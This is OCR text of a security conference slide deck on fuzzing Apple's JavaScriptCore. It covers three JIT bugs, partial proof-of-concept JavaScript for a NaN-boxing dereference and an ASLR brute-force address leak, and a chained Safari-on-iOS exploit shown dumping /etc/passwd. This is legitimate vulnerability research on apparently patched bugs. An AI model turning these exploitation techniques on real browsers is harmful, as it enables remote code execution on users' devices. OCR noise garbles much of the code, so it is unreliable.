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Introduction to
JavascriptCOre i What is JSC

JavaScript and JIT compilation
* DFG and FTL pipeline

Quick overview of
JavaScriptCore



Introduction to JavaScriptCore
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Introduction to JavaScriptCore
[ JSValue }
*  Object
*  {x:1,y: 2}

*  Backed By C++ class JSObject

* JSValue is a pointer to this C++ object
*  Doubles

*  Stored in IEEE 754 standard format

*  2%%is added to double

*  Pure NaN - 0x7ff8_0000_0000_0000
* Integers

*  Upper 15 bits set

*  Value in the lower 32 bits




Introduction to JavaScriptCore

Source code
Execute
Bytecode
A4
Parser > Bytecode > Interpreter
Deoptimize Praiied
P Bytecode
Optimized Native Code < JIT compiler




Introduction to JavaScriptCore - Execution tiers s

* LLINT: Initial interpreter, not a compiler, written in custom
assembly

* Baseline compiler: Minimal optimizations, less time spent on
compiling

*  DFG: More optimizations, more time spent on compiling

*  FTL: All standard compiler optimizations, max time spent in
compiling

| - | |
I Profiling
LLInt Baseline JIT DFG JIT FTL JIT

< OSR |
I 1 1

-l .
-~ -

lowest latency highest through

Image credit - https://webkit.org/blog/10308/speculation-in-javascriptcore/ X


https://webkit.org/blog/10308/speculation-in-javascriptcore/

Introduction to JavaScriptCore - IR’s
LLINT
—> Bytecode ==
Baseline
DFG — DFG IR
FTL
~ B3 ———>» Assembly
—>
- AR o)
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FUZZiﬂg setup + Diffuzzill

*  Diffuzzilli vs JITPicker

Having an edge

10
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Ob‘iec‘ltvi‘t’lssgéo

Fuzzing setup

* Fuzzilli - https://github .com/aooaleprojectzero/fuzzilli/

* Made by Samuel GroR3 (@5aelo)

* JavaScript fuzzer based on a custom Intermediate Language
*  Diffuzzilli

*  Built on top of Fuzzilli

* Differential fuzzer

h : vel r.mozilla.org/en- Web/JavaScript/Referen lobal Obj N/stringif X


https://github.com/googleprojectzero/fuzzilli/
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify

Fuzzing setup ObieciEsea

Diffuzzilli




Fuzzing setup

*  JITPicker - https://publications.cispa.saarland/3773/1/2022-CCS-JIT-Fuzzing pdf
* Differential fuzzing

* Requires patching of the target JS engine
*  Built into the IL of Fuzzilli
*  Diffuzzilli vs JITPicker:
*  Diffuzzilli implemented early 2021 vs. Oct 2022 for JITPicker
* |n comparison these found different bugs despite same idea

K


https://publications.cispa.saarland/3773/1/2022-CCS-JIT-Fuzzing.pdf

Fine tuning
fUZZ'F g *  Aiming for interesting code

* Retargeting fuzzers
*  Templating

Increase your “luck”

14



Fuzzing setup

= C & clang.llvm.org/docs/SanitizerCoverage.html

Disabling instrumentation without source modification

It is sometimes useful to tell SanitizerCoverage to instrument only a subset of the functions in your target without
modifying source files. With -fsanitize-coverage-allowlist=allowlist.txt and -fsanitize-coverage-ignorelist=blocklist.txt,
you can specify such a subset through the combination of an allowlist and a blocklist.

SanitizerCoverage will only instrument functions that satisfy two conditions. First, the function should belong to a source
file with a path that is both allowlisted and not blocklisted. Second, the function should have a mangled name that is
both allowlisted and not blocklisted.

The allowlist and blocklist format is similar to that of the sanitizer blocklist format. The default allowlist will match every
source file and every function. The default blocklist will match no source file and no function.

3 CodeGeneratorWeights.swift M X

|
i




B U g 1 * Registers in the code

*  Exploitation
*  Gets fixed

An almost only fuzzing story

16



Bug 1 - Reg Spilll

is64Bit ? 8
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Bug 1 - Reg Spilll

* Fuzzers did hit an ASSERT, but it was initially flaky
*  We couldn’t really find a way to get anything out of it
* Fuzzers to the rescue!




Bug 1 - Reg Spilll

File: Sources/FuzzilliCli/Profiles/JSCProfile swift

WebKitForIn = ProgramTemplate("WebKit

size = b.loadInt(I .random(in: 0...0x100
t constructor = b.loadBuiltin
chooseUniform
from: ["Uint8A

v49 = b.construct(constructor, withArgs: [size

initialProperties = [String: Variable]
in 0..<Int.random(in: 0...10) {

propertyName = b.genPropertyNameForWrite
type = b.type(ofProperty: propertyName
initialProperties|propertyName] = b.randvVar(ofType: type) ?? b.randvar

v51 = b.createObject(with: initialProperties)

t signature = ProgramTemplate.generateSignature(forFuzzer: b.fuzzer, n: Int.random(in: 1...

t jitFunction = b.definePlainFunction(withSignature: signature) { args in
b.generate(n: 4
b.forInLoop(v51 prop in
b.generate(n: 4)
b.generateRecursive()
b.loadComputedProperty(prop, of: args(0])
b.generateRecursive() \




Bug 1 - Reg Spilll

Condition is
never satisfied

Register r8 will
contain
arbitrary data

cmp rax, Ox4
jnz .after
push r8
push r9
mov r8, rsi
mov r9, rdi
[...]
.after:
pop ré
pop r9
mov rax, r8; uninitialised r8
ret

This branch is
always executed

Obj ecﬂ‘t,hee Sea,




Source/JavaScriptCore/jit/JITOpcodes.cpp
Source/JavaScriptCore/jit/JITOpcodes32 64.cpp
Source/JavaScriptCore/jit/JITOperations.cpp
Source/JavaScriptCore/jit/JITOperations.h
Source/JavaScriptCore/jit/JITPlan.cpp

Source/JavaScriptCore/jit/JITPlan.h
Source/JavaScriptCore/jit/JITPlanStage.h
Source/JavaScriptCore/jit/JITPropertyAccess.cpp
Source/JavaScriptCore/jit/JITPropertyAccess32 64.cpp

THE commit x [TIS VERY BIG

A “look” into the for-in
commit

Disclaimer: Due to time constraints we could
not spend time on diving on the commit itself
during this presentation. No browsers were

51 hurt during the making of this presentation.
Wait... sorry!



Small Detour - JavaScript Typed Arrays

aux_ab = ArrayBuffer (0x8) ;
aux fodarr

aux bo6darr BigUint

print (aux f64arr[0]);

print (aux b64arr[0]);

objecﬂ\’he.Sgg
ArrayBuffer’s Contents
0x00 | Oxe2 | Ox01 | 0x04 | Ox00 | Oxff | oxff | Ox21
In-memory / \
JavaScript
[0] [0]
aux_fe4darr

aux_b64aX



Quick recap 1

Analyzed and PoC built via
Fuzzed and found tried to build a fuzzing in the
a differential bug 9
PoC manually end
In need of a Bug only yields
better primitive an info leak

\

i i 11:55 AM
F This looked good, but made me think:

FPRTemporary fresult(this);

m_jit.convertInt32ToDouble(resultReg, fresult.fpr());

JITCompiler::Jump positive = m_jit.branch32(MacroAssembler::GreaterThanOrEqual, resultReg, TrustedImm3Z
m_jit.addDouble(JITCompiler::AbsoluteAddress(&AssemblyHelpers::twoToThe32), fresult.fpr());
positive.link(&m_jit);

m_jit.boxDouble(fresult.fpr(), resultRegs);

¢ Pinned

Do you know of any examples where they use a GPR straight to make an object?




Quick recap 1

6 Vignesh Rao 2:25 P/

Imao

| think | found a different bug in jsc !

g

Vignesh Rao 2:57 PM

Commented on Javier Jimenez's message] This looked good, but made me I

A

The bug is here. They just load it into a FPR and convert the double into a

JSValue. | looked at the ValueRep code and the disassembly that it
produces and realized that the NaN Check ery important . Then |

remembered that oul getByVal code had no NaN check 4

Erlito
caiea

Ohjet:tivhesea



Not-a-Number
Specifics in WebKit
Arbitrary dereference
Not-exploitable by itself

Bug 2

* Kk X K

NaN bug

25



Bug 2 - NaN Bug

File: Source/JavaScriptCore/dfg/DFGSpeculativelIT64 .cpp

SpeculativeJIT: :compileGetByValOnFloatTypedArray (Node* n 'pedArrayType
ScopedLambda<std: :tuple<J lueRegs, DataFormat, CanUseFlush> (DataFormat

oreferredFormat) >& prefix)

switch (elementSize (type)) {

case 8: {

m jit.loadDouble (MacroAssembler: :BaselIndex (storageReg, propertyReg,

MacroAssembler: :TimesEight), resultReq);
break;
}
if (format == DataFormatJdS) {
m jit.boxDouble (resultReg, resultRegs);
JjsValueResult (resultRegs, node) ;

} else {




Bug 2 - NaN Bug

File: Source/JavaScriptCore/dfg/DFGSpeculativelIT64 .cpp

SpeculativeJIT: compileGetByValOnFloatTypedArray (Node* n /pedArrayType
type, ScopedLambda<std: :tuple<J lueRegs, DataFormat, CanUseFlush> (DataFormat

preferredFormat) >& prefix)

switch (elementSize (type)) {

case 8: {

m jit.loadDouble (MacroAssembler: :BaselIndex (storageReg, propertyReg,

MacroAssembler: :TimesEight), resultReq);
break;
}
if (format == DataFormatJdS) {
m jit.boxDouble (resultReg, resultRegs);
JjsValueResult (resultRegs, node) ;

} else {




Bug 2 - NaN Bug Obiecfyese,

let array = new Float64Array(10);

let val = array||

GetByVal



Bug 2 - NaN Bug Obiecfyese,

let array = new Float64Array(10);

let val = array|l

GetByVal

GetByVal on a Float
Typed Array




Bug 2 - NaN Bug

File: Source/JavaScriptCore/dfg/DFGSpeculativelIT64 .cpp

SpeculativeJIT: compileGetByValOnFloatTypedArray (Node* n /pedArrayType
type, ScopedLambda<std: :tuple<J lueRegs, DataFormat, CanUseFlush> (DataFormat

preferredFormat) >& prefix)

switch (elementSize (type)) {

case 8: {

m jit.loadDouble (MacroAssembler: :BaselIndex (storageReg, propertyReg,

MacroAssembler: :TimesEight), resultReq);
break;
}
if (format == DataFormatJdS) {
m jit.boxDouble (resultReg, resultRegs);
JjsValueResult (resultRegs, node) ;

} else {




Bug 2 - NaN Bug

File: Source/JavaScriptCore/dfg/DFGSpeculativalITEA con

SpeculativeJIT: :compileGetByValOnF N reSU|tReg = Storage[property * 8]

ScopedLambda<std: :tuple<Jd

oreferredFormat) >& prefix)

switch (elementSize (type)) {

case 8: {
m jit.loadDouble (MacroAssembler: :BaselIndex (storageReg, propertyReg,
MacroAssembler: :TimesEight), resultReq);
break;
}
if (format == DataFormatJdS) {

m jit.boxDouble (resultReg, resultRegs);

JjsValueResult (resultRegs, node) ;

} else {



Bug 2 - NaN Bug

File: Source/JavaScriptCore/dfg/DFGSpeculativelIT64 .cpp

SpeculativeJIT: :compileGetByValOnFloatTypedArray (Node* node, TypedArrayType
type, ScopedLambda<std: :tuple<JdSValueRegs, DataFormat, CanUseFlush> (DataFormat

preferredFormat) >& prefix)

Tag the raw float to
switch (elementSize (type)) ({ make it a JSValue

case 8: {
m jit.loadDouble (MacroAssembler: :BaselIndex (storageReg, propertyReg,
MacroAssembler: :TimesEight), resultCReq) ;
break;
)
if (format == DataFormatJdS) {
m jit.boxDouble (resultReg, resultRegs);
JjsValueResult (resultRegs, node) ;

\ olca [




Bug 2 - NaN Bug

File: Source/JavaScriptCore/jit/AssemblyHelpers.h

boxDouble (FPR

HaveTagRegisters)

{ NumberTag =
Oxfffe000000000000

boxDouble (fpr, regs.gpr (), mode) ;

GPRReg boxDouble (FPRReg fpr, GPRReasgpr, TagRegistersMode mode = HaveTagRegisters)
{

moveDoubleTo64 (fpr, grr);

j.J_ (lnouae —— boNoOLAadveldygReglslels)

sub64 (TrustedImm64 (JSValue: :NumberTag), gpr):;

return gpr;




Bug 2 - NaN Bug Obiecfyese,

sub64 (TrustedImmb64 (JSValue: :NumberTag), gpr):

{ Impure NaN == 0xFFFE000012345678 } - [ NumberTag == OxFFFE000000000000 J

(JSValue*)0x0000000012345678 J




Bug 2 - NaN Bug

trigger (arg, a2) {

for ( i obj) {
obj =
out = argl[i];

az2.x = out;

Objecfiveses

main () {

t = {x: {}};
trigger (obj, t);

for ( 1 =0 ; 1 < 0x1000; 1++) {
trigger (fbuf, t);

bbuf[0] = OxFFFE 0000 1234 567&;

trigger (fbuf, t);

€ o2




Bug 2 - NaN Bug

for-in loop to iterate

‘ over keys of object

Criggerlary,yaly main () {
i obj) {
i t = {x: {}};

out = argl[i]; trigger (obj, t);

Sea,

az2.x = out;
for ( i=0; i< 0x1000; i++)

trigger (fbuf, t);

bbuf[0] = OxFFFE 0000 1234 567&;

trigger (fbuf, t);

t.x;



Bug 2 - NaN Bug

trigger (arg, a2) {
for ( i obj) {

~1~ _

out = argl[i];

A . — UULy,

Objecfiveses

Emit an

EnumeratorGetByVal

main () {

t = {x: {}};
trigger (obj, t);

for ( 1 =0 ; 1 < 0x1000; 1++) {
trigger (fbuf, t);

bbuf[0] = OxFFFE 0000 1234 567&;

trigger (fbuf, t);

€ o2



Bug 2 - NaN Bug

trigger (arg, a2) {

for ( i obj) {
obj =
out = argl[i];

az2.x = out;

Train the trigger with
valid data to JIT it

main () {

t = {x: {}};
trigger (obj,

for ( i =

t

0

)

.
14

1 < 0x1000;

trigger (fbuf, t);

i++)

bbuf[0] = OxFFFE 0000 1234 567&;

trigger«{Tthuf,

w_ &

ic) g

{

Objective
by th

eSea



Bug 2 - NaN Bug

trigger (arg, a2) {
for ( i obj) {
obj =

out = argl[i];

az2.x = out;

Create an “impure”
NaN array element

Objecfiveses

main () {

t = {x: {}};
trigger (obj, t);

for ( 1 =0 ; 1 < 0x1000; 1++) {
trigger (fbuf, t);

bbuf[0] = OxFFFE 0000 1234 567&;

n . 1 A = |
Ll LYyl LUy (S 4

ArrayBuffer(0x10) ;

BigUint64Array(abuf) ;
Float64Array(abuf) ; \




Bug 2 - NaN Bug

trigger (arg, a2) {
for ( i obj) {
obj =

out = argl[i];

az2.x = out;

Trigger the bug by
passing the array
with impure NaN

main () {

t = {x: {}};
trigger (obj, t);

for ( i=0; i< 0x1000; i++)

trigger (fbuf, t);

bhuflldem=elBERE0000, 1234 567&;

trigger (fbuf, t);

. ~—
- e zxy

{

Objective
by th

eSea



Bug 2 - NaN Bug

trigger (arg, a2) {
for ( i obj) {

out = argl[i];

az2.x = out;

Read the impure
NaN as a pointer and
store in a2 .x

t = {x: {}};
trigger (obj, t);

for ( i = ; 1 < 0x1000; i++)

trigger (fbuf, t) ;

bbuf[0] = OxXFFFE 0000 1234 567&;
trigger (fbuf, t);

€ o2

Objective
by th




Bug 2 - NaN Bug

trigger (arg, a2) {

for ( i obj) {
obj =
out = argl[i];

az2.x = out;

t.x has the invalid
pointer. Deref will
crash

T =

for

main () {

{x: {}};
trigger (obj, t);

(

i =0 ; 1 < 0x1000;

trigger (fbuf, t) ;

i++)

{

Objective
by th

eSea



Bug 2 - NaN Bug

We've got:
*  The info leak from Bug 1 - Reg Spill

| X
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B ug Z - N d N B ug Objectivese,

We've got:

*  The info leak from Bug 1 - Reg Spill
* The arbitrary dereference from Bug 2 - NaN Bug

M X



Bug Z N NaN Bug Obje‘t’ﬁsgg

We've got:

*  The info leak from Bug 1 - Reg Spill
* The arbitrary dereference from Bug 2 - NaN Bug
* Enough primitives to get code execution

| X



Bug 2 - NaN Bug

We've got:

*  The info leak from Bug 1 - Reg Spill

* The arbitrary dereference from Bug 2 - NaN Bug
* Enough primitives to get code execution

*  Bug 1 gets fixed by Apple pretty quickly

46




Y

LU
Bug 2 - NaN Bug
We've got:
*  The info leak from Bug 1 - Reg Spill
* The arbitrary dereference from Bug 2 - NaN Bug
* Enough primitives to get code execution
%k




Quick recap 2

Analyzed and
tried to build a
PoC manually

Fuzzed and found
a differential bug

dere?erggsgyNaN In need of a
S5 better primitive

Info leak + NaN
bug = RCE

Info leak gets
patched

RCE again! Brute Forcing

I L1

PoC built via
fuzzing in the

More fuzzing and
auditing

/.BugS‘»

You are here

objecﬂ‘,’sss@

K



B u g 3 * A differential bug

*  Probably an incorrect liveness
tracking issue

Liveness issue

49



Bug 3 - Liveness issue

Issue when recovering a virtual register from DFG -> Baseline
Value of a variable in Baseline was set to undefined

DFG misjudged liveness of a virtual register

Did not look like an interesting case

E S S

opt (v51l) {
for ( 1i=0;1<2;i++) {
v62 = vb1l[i];
switch (v62) {
case v62:
break;

arr = [Math.max, Oxfefefefen];
case 0x1337:

for ( v1l54 = 0; v154 < 0x45; v154++) {

notCalledButCompiledl () {

opt (arr
Pt ) return vo62;

1
break;
case vb62:

v28++;




Bug 3 - CompareStrictEqual - Compilation

DA37:< 2:1o0c6> [elieEhatiRaloddie (Check : Untyped:DE27,
Check:0bject:D@34, Boolean]|PurelInt, Bool, Exits, bc#l17, ExitValid)

0x7£98d21d4080:
0x7£98d21d4083:
0x7£98d21d4089:
0x7£98d21d4084d:
0x7£98d21d4093:
0x7£98d21d4096:
0x7£98d21d409%a:
0x7£98d21d409%e:

test rl5, rax

jnz 0x7£98d21d41lae

cmp byte ptr [rax+0x5], O0x17
jb 0x7£98d21d41c4

cmp rax, rdx

setz sil

movzx esi, sil

or esi, 0x6



Bug 3 - CompareStrictEqual Ohictesen

Strict equality (===

The strict equality ( ===) operator checks whether its two operands are equal, returning a Boolean
result. Unlike the equality operator, the strict equality operator always considers operands of

different types to be different.

https://developer.mozilla.org/en-US/docs/\Web/JavaScript/Reference/Operators/Strict equality

K


https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Strict_equality

Bug 3 - CompareStrictEqual - Compilation

DA@37:< 2:10c6> [GelijsEhastiasNeauliiNe| (Che

Check:0bject:D@34, Boolean|Purelnt,

0x7£98d21d4080:
0x7£98d21d4083:
0x7£98d21d4089:
0x7£98d21d4084d:
0x7£98d21d4093:
0x7£98d21d4096:
0x7£98d21d409%a:
0x7£98d21d409%e:

LHS - Untyped

BooL, LXrts, bc#l7, ExitvValid)

test rl5, rax

jnz 0x7£98d21d41lae

cmp byte ptr [rax+0x5], O0x17
jb 0x7£98d21d41c4

cmp rax, rdx

setz sil

movzx esi, sil

or esi, 0x6



Bug 3 - CompareStrictEqual - Compilation

D[S ERNY-I Y ompareStrictEgi{elsts

Che{%:Object:D

0x7£98d21d4080:
0x7£98d21d4083:
0x7£98d21d4089:
0x7£98d21d4084d:
0x7£98d21d4093:
0x7£98d21d4096:
0x7£98d21d409%a:
0x7£98d21d409%e:

LHS - Untyped

Boolean|Purelnt, Boorl, LXrcts, bc#l7, ExitValid)

test rl5, rax //”’—;HS-SpeC

jnz 0x7£98d21d41lae Object
cmp byte ptr [rax+0x5], O0x17
jb 0x7£98d21d41c4

cmp rax, rdx

setz sil

movzx esi, sil

or esi, 0x6




Bug 3 - CompareStrictEqual - Compilation OnlecEsen

LHS - Untyped

D[S ERNY-I Y ompareStrictEgi{elsts

Che{%:Object:Di&‘g>Boolean|PureInt,

BooL, LXrts, bc#l7, ExitvValid)

0x7£98d21d4080: test rl5, rax mHS—SpeC

. CacAC Yoo ae Object
0x7£98d21d4089: cmp byte ptr [rax+0x5], Ox17
. 5 A2 1 /11 -~/

0x7£98d21d4093: cmp rax, rdx
0x7£98d21d4096: setz sil
0x7£98d21d409a: movzx esi, sil
0x7£98d21d409e: or esi, 0xo0

H

RHS Type
Checked




Bug 3 - CompareStrictEqual - Compilation

DA37:< 2:1o0c6> [elieEhatiRaloddie (Check : Untyped:DE27,
Check:0bject:D@34, Boolean]|PurelInt, Bool, Exits, bc#l17, ExitValid)

0x7£98d21d44080: test rl5, rax
0x7£98d21d4083: jnz 0x7£98d21d4lae
0x7£98d21d4089: cmp byte ptr [rax+0x5], Ox17

: cmp rax,
0x7£98d21d4096: setz sil

A O Q A4 00

0x7£98d21d409%e:

Raw comparison between
LHS and RHS

K



Brute Force! Obiecye

S pPAsSs ol )




Exp ‘Oltatlo n * ASLR bruteforce in 2022

Bypassing ASLR with Bigint
comparisons

58



ASLR Brute Force In 2022

function
return

let al =
let a2

for (let

compare(al, a2) {
al.x === a2.x;

{x: 0x1337};

I . F11.
iX: 'L}}r

Function for
i=0; i<0x1000; i++) { the checking

L

compare(al, a2)

let addr
let fake

On;
= {x: Ox1337};

let toLeak = {x: {}};

for (let 1=0n; i<Oxffffffffn; i+=1n) {

L

let current_address = addr+i;

fake.x

= fakeobj(current_address);

let result = compare(fake, tolLeak);

if (result) {

print("“Leaked addre @ " + current_address);

return 0;

Obje

five
by th

*Sea




ASLR Brute Force In 2022

function compare(al, a2) {

return al.x —— a2.xX:

Oblectivese,

let al = {x: Ox1337};
let a2 {x: {}};

for (let i=0; i<0x1000; i++) {
compare(al, a2)

let addr On;
let fake = {x: 0x1337};
let toLeak = {x: {}};

for (let 1=0n; i<Oxffffffffn; i+=1n) {

let current_address = addr+i;
fake.x = fakeobj(current_address);

let result = compare(fake, tolLeak);

if (result) {

print("“Leaked addre @ " + current_address);

return 0;




unc

re

ASLR Brute Force In 2022

tion compare(al, a2) {
turn al.x === a2.Xx;

ObjectiVeseq

= {x: Ox1337};
= {x: {}};

for (let i=0; i<0x1000; i++) {

1
1

co

et

at

mpare(al, a2)

addr = 0On; .
fake = {x: Ax1337}: toLeak.x contains

let toLeak = {x: {}}; the object pointer

£
|

}
J

or

to be leaked

(let i=0n; i<Oxffffffffn; i+=1n) {

let current_address = addr+i;

fa
le

if

|
J

ke.x = fakeobj(current_address);
t result = compare(fake, tolLeak);

(result) {

print("Leaked address @ " + current_address);

return 0;



ASLR Brute Force In 2022

unction compare(al, a2) {

return al.x —— a2.xX:
= {x: Ox1337};
= {x: {}};

for (let i=0; i<0x1000; i++) { lterate over the
compare(al, a2) possible address
Space

let addr On;
let fake {x: 0x1337};

let toLeak = {x: {}};

r

for (let i=0n; i<Oxffffffffn; i+=1n) {

let current_address = addr+i;
fake.x = fakeobj(current_address);

let result = compare(fake, tolLeak);

if (result) {

print("Leaked address @ " + current_address);

return 0;

1
J
}
J

Objective
by th
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ASLR Brute Force In 2022

unction compare(al, a2) {
return al.x === a2.x;

ObjectiVeseq

= {x: 0x1337};

—h . F11.
iX: _L}}I

for (let i=0; i<0x1000; i++) {
compare(al, a2) Create a fake obj ptr
from the current iteration

let addr On; count

let fake = {x: 0x1337};
let toLeak = {x: {}};

for (let i=0n; i<Oxffffffffn; i+=1n) {

let current_address = addr+i;
fake.x = fakeobj(current_address);

let result = compare(fake, tolLeak);
if (result) {

print("Leaked address @ " + current_address);
return 0;
1
J
}




ASLR Brute Force In 2022

unction compare(al, a2) {

return al.x —— a2.xX:

ObjectiVeseq

= {x: 0x1337};

—h . F11.
iX: _L}}I

for (let i=0; i<0x1000; i++) {
compare(al, a2)

Do the actual
let addr = On; comparison
let fake = {x: 0x1337};
let toLeak = {x: {}};

r

for (let i=0n; i<Oxffffffffn; i+=1n) {

let current_address = addr+i;
fake.x = fakeobj(cu .ent_address);

let result = compare(fake, tolLeak);

if (result) {

print("Leaked address @ " + current_address);

return 0;

1
J
}
J




ASLR Brute Force In 2022

unction compare(al, a2) {

return al.x —— a2.xX:

ObjectiVeseq

= {x: 0x1337};

—h . F11.
iX: _L}}I

for (let i=0; i<0x1000; i++) {
compare(al, a2)

let addr On;
let fake = {x: 0x1337};
let toLeak = {x: {}};

If compare returned
for (let i=0n; i<Oxffffffffn; i+=1n) { true => win
let current_address = addr+i;
fake.x = fakeobj(current_address);

let result = compare(fake, tolLeak);

if (result) {

print("Leaked address @ " + current_address);

return 0;
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ASLR Brute Force in 2022

* JSC Heap Pointers on mac were < 40 bit
«  Still the brute force took over 2 hours

* Need to optimize the brute force



Brute Force Optimization

* Pointers are aligned to multiples of 8
* The loop can iterate in multiples of 8
*  8x improvement in perf
* Still took ~15min

* Pointer aligned to page start will have 12 LSB as NULL
*  Safari - Web Workers!
* Loop can now iterate in multiples of 0x1000
*  0Ox1000x improvement in perf !
*  Takes about 2-3s now - perfect for exploitation

K



Brute Force Optimization

1=0n; 1<Oxffffffffffn; 1+=0x1000n) {
result = brute (i, tolLeak);

if (result) {

print ("Leaked address @ " + current address);

return O;




Further Exploitation...

* \We already have ‘fakeobj from the bug
*  “fakeobj - ability to convert C pointers to JS Reference

* \We have a partial "addrof’ from brute force
* “addrof - leak address of a JSObject
*  Partial can be made into full addrof with some heap manipulation

*  Arb Read/Write can be achieved from here
*  Well documented publicly
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JSC NaN - Case study - Fix

| AssemblyHelpers: : pUFETYNaN (FPRReg fpr

MacroAssembler::Jump notNaN = branchIfNotNaN(fpr);
tatic cons > NaN = PNaN;

loadDouble(TrustedImmPtr(&NaN), fpr);

notNaN. link(this);

if (format == DataFormatlJS) {
m_jit.purifyNaN(resultReg);
m_jit.boxDouble(resultReg, resultRegs);
jsValueResult(resultRegs, node);

} else {

71



Exploit
mitigations + PAC

*  APRR

Current Safari mitigations

72



Exploit mitigations (pre-sbx)

*  Pointer-Authentication-Codes (PAQ)
*  Mostly for function calls
* There’s also data PAC

* APRR - prevents having a RWX page
*  R-X or RW-, never RWX.

Pointers in AArch64 (with authentication)

= PAC embedded in reserved pointer bits
... e.g. |5 bits with 48-bit VA without tagging
... leaving remaining bits intact

63 56155 54 VA _SIZE VA SIZE-1 0
777,94 DN
‘ | l address
reserved
low/high
reserved
https://even ic linuxfound.org/si vents/files/sli li

23

ARM
f
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https://events.static.linuxfound.org/sites/events/files/slides/slides_23.pdf

Full exploit on 10S

Full Exploit on Safari on iOS
Exploit runs shellcode
Displays contents of
/etc/passwd

[+] DONE
[ 1] shellcode: file? from the binary
[+] shellcode: ##

| # User Database
| #

 This file is the authoritative user database
#

nobody:*:-2:-2:Unprivileged User:/var/empty;:/usr/bin/false

root/smx7MYTQII2M:0:0:System Administrator:/var/root:/bin/sh
mobile:/smx7TMYTQII2M:501:501:Mobile User-/var/mobile-/bin/sh

daemon:*:1:1:System Services:/var/root:/usr/bin/false

_Mtp:*:98:-2:FTP Daemon:/var empty:/ust/bin/false

_networkd:*:24:24:Network Services:/var/networkd:/ust/bin/falsc

_wireless:*:25:25:Wireless Services:/var/wireless:/usr/bin/falsc

_installd:*:33:33:Install Daemon:/var/installd:/usr/bin/false

_neagent:*;34:34 NEA gent:/var/empty /usr/bin/false
_ifced:*:35:35:ifced:/var/empty:/usr/bin/false

_secunityd: *:64:64:sccurityd:/var/empty . /usr/bin/false

_mdnsresponder; *:65:65:mDNSResponder:/var/empty:/usr/bin/false

_sshd:*:75:75:sshd Privilege separation:/var/empty-/usr/bin/false

_unknown:*:99:99:Unknown User:/var/empty:/usr/bin/false

__usbmuxd:*:213:213:iPhone OS Device Helper:/var/db/lockdown:/usr/bin/false
_distnote:*:241:24 1:Distributed Notifications:/var/empty:/ust/bin/false

_astris:*:245:245: Astris Services:/var/db/astris /usr/bin/false

_ondemand:*:249:249:0n Demand Resource Daemon:/var/db/ondemand:/usr/bin/false
_findmydevice:*:254:254:Find My Device Daemon:/var/db findmydevice:/usr/bin/false
_datadetectors:*:257:257: DataDetectors:/var/db/datadetectors /usr/bin/false
_captiveagent:*:258:258:captiveagent:/var/empty:/usr/bin/false

_analyticsd:*:263:263: Analytics Daemon:/var/db/analyticsd:/usr/bin/false
_timed:*:266:266; Time Sync Daemon:/var/db/timed:/ust/bin/false

_2psd:*:267:267:GPS Daemon:/var/db/gpsd:/usr/bin/false
_reportmemoryexception:*:269:269:ReportMemory Exception:/var/empty:/ust/bin/false
_driverkit:*:270:270:DriverKit:/var/empty:/usr/bin/false

_diskimagesiod:*:271:271:DiskImages 10 Daemon /var/db/diskimagesiod:/ust/bin/false
_logd:*:272:272:Log Daemon:/var/db/diagnostics:/usr/bin/false

_lconservices:*:276:276:Icon services:/var/empty:/usr/bin/false

_rmd:*:277:277:Remote Management Daemon:/var/db/rmd:/usr/bin/false
_accessoryupdater:*:278:278: Accessory Update Daemon:/var/db/accessoryupdater:/usr/bin/false




COnC‘ US|OnS * Untested big commits

* Fuzzing + code auditing
* Dynamic landscape

Our experience on browser
security research
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Conclusions

*  The for-in commit

* A large commit that seemed to not have been thoroughly tested

*  Enticing for attackers, very large attack surface
* Fuzzing and code auditing

* They go hand in hand

* Fuzzing not only uncovers bugs but also can help producing exploits
*  Browser landscape changes often

* High code churn

*  Mitigations constantly being improved
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